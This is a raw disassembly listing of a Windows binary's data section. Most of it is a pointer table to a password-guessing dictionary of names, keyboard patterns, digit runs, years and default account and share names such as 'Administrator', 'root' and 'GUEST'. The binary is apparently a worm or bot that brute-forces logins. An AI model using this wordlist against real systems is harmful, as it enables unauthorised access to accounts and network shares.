		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4292FC
		dd offset dword_4292F8
		dd offset dword_4292F4
		dd offset dword_4292F0
		dd offset dword_4292E8
		dd offset dword_4292E0
		dd offset dword_4292D8
		dd offset dword_4292CC
		dd offset dword_4292C8
		dd offset dword_4292C4
		dd offset off_4292C0
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_4292B4	; "+"
		dd offset asc_4292B0	; "++"
		dd offset asc_4292AC	; "+++"
		dd offset asc_4292A4	; "++++"
		dd offset asc_4292A0	; "-"
		dd offset asc_42929C	; "--"
		dd offset asc_42929C	; "--"
		dd offset asc_429294	; "----"
		dd offset asc_429290	; "-+"
		dd offset asc_429288	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_429270	; "$"
		dd offset asc_42926C	; "$$"
		dd offset asc_429268	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
; ---------------------------------------------------------------------------
		pop	esp
		retf
; ---------------------------------------------------------------------------
		dw 42h
; ---------------------------------------------------------------------------
		pop	eax
		retf
; ---------------------------------------------------------------------------
		dw 42h
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_429218	; "*"
		dd offset asc_429214	; "**"
		dd offset asc_429210	; "***"
		dd offset asc_429208	; "****"
		dd offset asc_429200	; "*****"
		dd offset asc_4291F8	; "******"
		dd offset asc_4291F0	; "*******"
		dd offset asc_4291E4	; "********"
		dd offset asc_4291D8	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_0		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_1	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_428B74
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
; ---------------------------------------------------------------------------
		push	6000428Bh
		mov	eax, [edx+0]
		xchg	eax, esp
		pushf
		inc	edx
		add	[eax-63FFBD35h], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-6FFFBD35h], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-7FFFBD35h], cl
		retf
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
; ---------------------------------------------------------------------------
		pusha
		retf
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_4289E4	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_428954	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_1		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw_0		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset byte_4400B4
		dd 0
dword_4286AC	dd 10h			; DATA XREF: sub_401AA1+6EAr
					; sub_401AA1+720r ...
a142536		db '142536',0           ; DATA XREF: .nsp0:0042862Co
		align 4
a753951		db '753951',0           ; DATA XREF: .nsp0:00428628o
		align 10h
a951753		db '951753',0           ; DATA XREF: .nsp0:00428624o
		align 4
a159357		db '159357',0           ; DATA XREF: .nsp0:00428620o
		align 10h
a753159		db '753159',0           ; DATA XREF: .nsp0:0042861Co
		align 4
a13579		db '13579',0            ; DATA XREF: .nsp0:00428618o
		align 10h
a2684		db '2684',0             ; DATA XREF: .nsp0:00428614o
		align 4
a2486		db '2486',0             ; DATA XREF: .nsp0:00428610o
		align 10h
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:0042860Co
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:00428608o
a112233		db '112233',0           ; DATA XREF: .nsp0:00428604o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:00428600o
		align 4
a3edc		db '3edc',0             ; DATA XREF: .nsp0:004285FCo
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:004285F8o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:004285F4o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:004285F0o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:004285ECo
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:004285E8o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:004285E4o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:004285E0o
		align 10h
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:004285DCo
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:004285D8o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:004285D4o
		align 10h
aAass		db 'aass',0             ; DATA XREF: .nsp0:004285D0o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:004285CCo
		align 10h
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:004285C8o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:004285C4o
		align 10h
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:004285C0o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:004285BCo
		align 10h
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:004285B8o
aZz		db 'zz',0               ; DATA XREF: .nsp0:004285B4o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:004285ACo
		align 10h
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:004285A8o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:004285A4o
		align 10h
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:004285A0o
aQq		db 'qq',0               ; DATA XREF: .nsp0:0042859Co
		align 4
aQ:					; DATA XREF: sub_401AA1+127Bo
					; .nsp0:00428598o ...
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:00428594o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:00428590o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0042858Co
		align 4
aWww		db 'www',0              ; DATA XREF: .nsp0:00428588o
aWw_0		db 'ww',0               ; DATA XREF: .nsp0:00428584o
		align 4
